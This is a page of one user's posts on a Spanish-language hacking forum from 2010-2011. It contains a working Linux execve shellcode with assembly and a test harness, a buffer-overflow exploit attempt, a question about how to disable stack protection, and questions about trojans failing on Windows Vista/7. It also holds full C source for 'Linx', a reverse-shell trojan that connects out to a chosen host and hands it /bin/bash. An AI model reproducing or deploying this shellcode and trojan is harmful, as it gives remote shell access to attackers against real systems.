elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


  Mostrar Temas
Páginas: 1 2 [3] 4 5 6
21  Seguridad Informática / Bugs y Exploits / ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes en: 4 Enero 2011, 12:59 pm
Bueno, acabo de conseguir que mi pezqueñina empiece a funcionar... Como Rojodos, yo comparto mi alegria jaja  ;-) ;-) ;-)
Código
  1. #include <stdio.h>
  2. #include <string.h>
  3.  
  4. char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
  5.  
  6. int main(int argc, char **argv)
  7. {
  8. printf ("TinShell V1.0 : By Sagrini : %d bytes\n", strlen (code));
  9. (*(void(*)()) code)();
  10. return 0;
  11. }
  12.  
  13.  
Código
  1. BITS 32
  2. ; excve ()
  3.  
  4. xor eax, eax ; Ponemos EAX a cero para bytes nulos
  5. push eax ; Metemos los ceros en la pila
  6. push 0x68732f2f ; Metemos "//sh". La segunda barra no importa. Además alinea.
  7. push 0x6e69622f ; Metemos "/bin". Alineados en la pila
  8. mov ebx, esp ; Metemos la direccion en EBX
  9. push eax ; Mas bytes nulos ...
  10. mov edx, esp ; ... para el entorno de 3º argumento
  11. push ebx ; Metemos la direccion de la cadena en la pila
  12. mov ecx, esp ; Y se la pasamos como direccion
  13. mov al, 11 ; excve = syscall 11
  14. int 0x80 ; Ejecutamos
  15.  
Código:
00000000  31 c0 50 68 2f 2f 73 68  68 2f 62 69 6e 89 e3 50  |1.Ph//shh/bin..P|
00000010  89 e2 53 89 e1 b0 0b cd  80                       |..S......|
00000019

Quiero agradecerle a todos que me hayan ayudado a crearla, con pequeñas ayudas, tanto en el foro de ASM, como en el de C.
Especialmente se lo agradezco a Eternal Idol, que fue el que estuvo echandome una mano en mi primer programa, y en mi primera shellcode, y el que me ayudo en mis comienzos tanto en C como en ASM
Cito tambien el libro "Hacking. Técnicas fundamentales" y a su autor, Jon Erikson, sin los que no habria podido empezar, y recomiendo la lectura del libro [Me han mandado PMs para saber donde comprarlo. Lo siento, lo tengo de la biblioteca, pero lo podeis comprar jaja]
Os doy las gracias a todos los staffs por el gran trabajo que haceis, y a la comunidad en total, por echarme una manita tambien.

Disfrutad de la shellcode y muchas gracias !
22  Programación / ASM / .:. Shellcode 2 ASM .:. en: 2 Enero 2011, 22:47 pm
Bueno, perdonadadme el titulo, un poco estafalario xD...
Bueno, mi duda es...
Tengo una shellcode, y me gustaria saber las intstrucciones en ensamblador que tiene... Como hago eso?
Para el que lo quiera saber, mi shellcode es:
Código
  1. \xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe\xc8\x88\x06\x46\xe2"
  2.          "\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69"
  3.          "\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81
Bueno, es para analizarla.. Ocupa bastante pocos bytes, va a ser interesante xD...
Bueno, es pasar eso a ensamblador... como?
23  Sistemas Operativos / Windows / Windows XP Profesional x64 .:. ¿Pero eso existe? en: 1 Enero 2011, 18:55 pm
Bueno, el titulo es demasiado explicito, creo yo...
Estoy buscando el Windows XP Profesional de 32 bits, pero para 64 bits. No me refiero a XP 64 bits, sino al de 32 adaptado para 64...
Se puede?
24  Programación / ASM / Escribir 'A' en mi primer programa : ¿No funciona? en: 31 Diciembre 2010, 17:41 pm
Bueno, tengo un code sencillo, sencillamente escribe una A en la terminal... Por algo se empieza  :P
La cosa es que no escribe nada...
Código
  1. global _start
  2.  
  3. section .code
  4. _start:
  5. mov eax, 0x4   ; write (1, "A", 1);
  6. mov ebx, 0x1
  7. mov ecx, 0x42
  8. mov edx, 0x2
  9. int 80H
  10.  
  11. mov eax, 1 // return 0;
  12. xor ebx, ebx
  13. int 80H
  14.  
Citar
nano code.s
nasm -f elf -o code.o code.s
ld -m elf_i386 -o code code.o
chmod 777 *
./code

Bueno, donde esta el fallo? Recuerden que es mi primer code xD...
Alguna idea en algo tan simple?

Pd: De paso, ahora mismito me voy a leer un libro de ASM, a ver si descubro algo  :P
25  Sistemas Operativos / GNU/Linux / Mensaje ¿nucleo? fallo de segmentacion ::: Desactivando la protección en: 31 Diciembre 2010, 17:08 pm
Modifico : Ubuntu 9.04 64 bits modo de compatibilidad !

Buenas, escribo esto por un problema que me ha surgido al intentar explotar una sencilla aplicación evidentemente vulnerable... El caso es que al saber cuantos nops le tengo que meter a la pila para que vaya, me ha dado un bonito error.
Mi code (para no entenderlo xD):
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. int main (int argc, char *argv [])
  6. {
  7. char buffer [8];
  8. strcpy (buffer, argv [1]);
  9.  
  10. printf ("You said : %s", buffer);
  11. return 0;
  12. }
El fallo:
Citar
*** stack smashing detected ***: ./code terminated
======= Backtrace: =========
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x48)[0xb77d4ef8]
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x0)[0xb77d4eb0]
./code[0x80484b6]
[0x41414141]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:06 5267571    /home/juanra/Escritorio/code
08049000-0804a000 r--p 00000000 08:06 5267571    /home/juanra/Escritorio/code
0804a000-0804b000 rw-p 00001000 08:06 5267571    /home/juanra/Escritorio/code
09d9d000-09dbe000 rw-p 09d9d000 00:00 0          [heap]
b76d6000-b76d7000 rw-p b76d6000 00:00 0
b76d7000-b7833000 r-xp 00000000 08:06 353269     /lib/tls/i686/cmov/libc-2.9.so
b7833000-b7834000 ---p 0015c000 08:06 353269     /lib/tls/i686/cmov/libc-2.9.so
b7834000-b7836000 r--p 0015c000 08:06 353269     /lib/tls/i686/cmov/libc-2.9.so
b7836000-b7837000 rw-p 0015e000 08:06 353269     /lib/tls/i686/cmov/libc-2.9.so
b7837000-b783a000 rw-p b7837000 00:00 0
b783b000-b7848000 r-xp 00000000 08:06 335937     /lib/libgcc_s.so.1
b7848000-b7849000 r--p 0000c000 08:06 335937     /lib/libgcc_s.so.1
b7849000-b784a000 rw-p 0000d000 08:06 335937     /lib/libgcc_s.so.1
b784a000-b784d000 rw-p b784a000 00:00 0
b784d000-b784e000 r-xp b784d000 00:00 0          [vdso]
b784e000-b786a000 r-xp 00000000 08:06 335886     /lib/ld-2.9.so
b786a000-b786b000 r--p 0001b000 08:06 335886     /lib/ld-2.9.so
b786b000-b786c000 rw-p 0001c000 08:06 335886     /lib/ld-2.9.so
bfcbe000-bfcd3000 rw-p bffea000 00:00 0          [stack]
You said : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACancelado

Se que es una proteccion de la pila xD... pero no se como desactivarla para seguir...
Alguien me puede ayudar a desactivar la proteccion de la pila?
Muchas gracias xD!
26  Seguridad Informática / Bugs y Exploits / Meter 3 donde van 4 : ¿ Y el resto ? en: 29 Diciembre 2010, 19:51 pm
Bueno, me he metido en este apasionante mundo, y me he puesto a probar algo...
Tengo este code:
Código
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <windows.h>
  4.  
  5. int fff ()
  6. {
  7. WinExec ("calc.exe", SW_MAX);
  8. }
  9.  
  10. int main(int argc, char **argv)
  11. {
  12. if (argc != 2) return 1;
  13. char buff[12];
  14. strcpy(buff,argv[1]);
  15. printf("\nHas escrito:   %s\n",buff);
  16.  
  17. return 0;
  18. }
  19.  
Es simple. Meto 24 nops y 4 numeros con la direccion de fff. A mi me da 0x4013c0. Como ven es una direccion de 3 "digitos".
Bueno ¿ Qué hago con el cuarto ?
Código
  1. #include <windows.h>
  2. #include <strcpy.h>
  3.  
  4. int main ()
  5. {
  6. char buff [28];
  7. int i;
  8. for (i = 0; i <= 23; i++)
  9. buff [i] = '\90'
  10.  
  11. /*
  12. Aqui van las declaraciones de buff [24 / 27] (menos 1 por el 0).
  13. La cosa es que tengo tres numeros donde van cuatro.
  14. */
  15.  
  16. char command [33];
  17. strcpy (command, "code ");
  18. strcat (command, buff);
  19. WinExec (command);
  20. }
  21.  

El exploit es sencillo, pero no se que hacer. Pido perdais 5 segundos de vuestro tiempo contestandome xD!!!
Que hago? Como seria el exploit?

Espero sus prontas respuestas.
Y sí, he mirado en google y en el foro...

Aparte, uso Windows Vista 64 bits...
27  Seguridad Informática / Análisis y Diseño de Malware / ¿Por que los troyanos no funcionan corectamente? [Windows Vista/7] en: 24 Diciembre 2010, 13:49 pm
Bueno, la cosa es que estoy haciendo un troyano en Windows Vista y 7 en C. He estado probando varias formas, pero no me da resultado. La pregunta es...

¿Por qué los troyanos en Windows XP funcionan y en Vista / 7 no?
Supongo que sera por algun cambio en el sistema operativo, pero deberian funcionar, ¿no?
¿Qué cambia para que no funcionen?
28  Programación / Programación C/C++ / [C] [!!! HELP !!!] ¿Troyanos en Windows Vista / 7? ¿Que cambia? [SIN RESOLVER] en: 20 Diciembre 2010, 19:57 pm
Buenas, el otro dia me puse a pasar "Linx" a Windows Vista, para mas utilidad... Ya me entienden.
El caso es que al abrir no funciona correctamente... Podrian postear el fallo por favor?
Que falla para que no corra?

Espero respuestas. Gracias por adelantado!

PD: Code abajo...
29  Programación / Programación C/C++ / [C] Linux Trojan & dup2 () en: 18 Diciembre 2010, 15:55 pm
Terminado y corregido... El problema era que se me olvido cerrar los descriptores estandar...
Corrigiendo code...
Recuerdo que no esta terminado. Posteen mejoras, etc..

Código
  1. #include <time.h>
  2.  
  3. #include <stdio.h>
  4.  
  5. #include <stdlib.h>
  6.  
  7. #include <string.h>
  8.  
  9. #include <sys/socket.h>
  10.  
  11. #include <arpa/inet.h>
  12.  
  13.  
  14.  
  15. struct sockaddr_in host;
  16.  
  17. int sockfd;
  18.  
  19.  
  20.  
  21. int execsock (int socket, char program [])
  22.  
  23. {
  24.  
  25. close(0);
  26.  
  27. close(1);
  28.  
  29. close(2);
  30.  
  31.  
  32.  
  33. dup2(socket, 0);
  34.  
  35. dup2(socket, 1);
  36.  
  37. dup2(socket, 2);
  38.  
  39.  
  40.  
  41. execve(program, NULL, NULL);
  42.  
  43. return 0;
  44.  
  45. }
  46.  
  47.  
  48.  
  49. int main (int argc, char *argv [])
  50.  
  51. {
  52.  
  53. time_t now=time (0);
  54.  
  55. struct tm *ahora;
  56.  
  57. char hora [40];
  58.  
  59. ahora=localtime ((const time_t*)&now);
  60.  
  61. strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);
  62.  
  63. printf ("Linx 1.0 - By Sagrini (2010) - %s\n", hora);
  64.  
  65.  
  66.  
  67. if (argc == 3)
  68.  
  69. {
  70.  
  71. host.sin_addr.s_addr = inet_addr (argv [1]);
  72.  
  73. host.sin_port = htons (atoi (argv [2]));
  74.  
  75. host.sin_family = AF_INET;
  76.  
  77. memset (host.sin_zero, 0, 8);
  78.  
  79. }
  80.  
  81. else
  82.  
  83. {
  84.  
  85. host.sin_addr.s_addr = inet_addr ("127.0.0.1"); // A modificar!
  86.  
  87. host.sin_port = htons (31337);
  88.  
  89. host.sin_family = AF_INET;
  90.  
  91. memset (host.sin_zero, 0, 8);
  92.  
  93. }
  94.  
  95.  
  96.  
  97. printf ("Iniciando...\t");
  98.  
  99. sockfd = socket (2, 1, 0);
  100.  
  101. if (sockfd != -1)
  102. {
  103.  
  104. printf ("[OK]\nConectando...\t\a");
  105. }
  106.  
  107. else
  108.  
  109. {
  110.  
  111. printf ("[FAIL]\n\n");
  112.  
  113. return 1;
  114.  
  115. }
  116.  
  117.  
  118. while (connect (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr)) == -1)
  119. sleep (1);
  120.  
  121. printf ("[OK]\nLanzando sell...\t[OK]");
  122. daemon (1, 0);
  123.  
  124. execsock (sockfd, "/bin/bash");
  125.  
  126. close (sockfd);
  127.  
  128. return 0;
  129.  
  130. }
  131.  
  132.  

Ahora, el problema esta en que al compilar y correr, no me escribe correctamente lo que le digo: Atencion aqui:
Código
  1. printf ("[OK]\nConectando...\t\a");
Linea sencilla no? Pues no me postea lo de "Conectando" hasta que alguien no se conecta, o sea, la sigiente liena...
30  Media / Juegos y Consolas / Juegas al Airsoft ? Que usas ? en: 12 Diciembre 2010, 13:11 pm
Buenas, un tema de curiosidad. Quien juega al airsoft aqui? no lo digo por jugar con el xD, curiosidad...
En caso de que jugueis, que replicas llevais?

A mi me gustaria jugar, llevaria una MP-5 Galaxy y una pistola auto pequeñita para cortas distancias ....
Páginas: 1 2 [3] 4 5 6
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines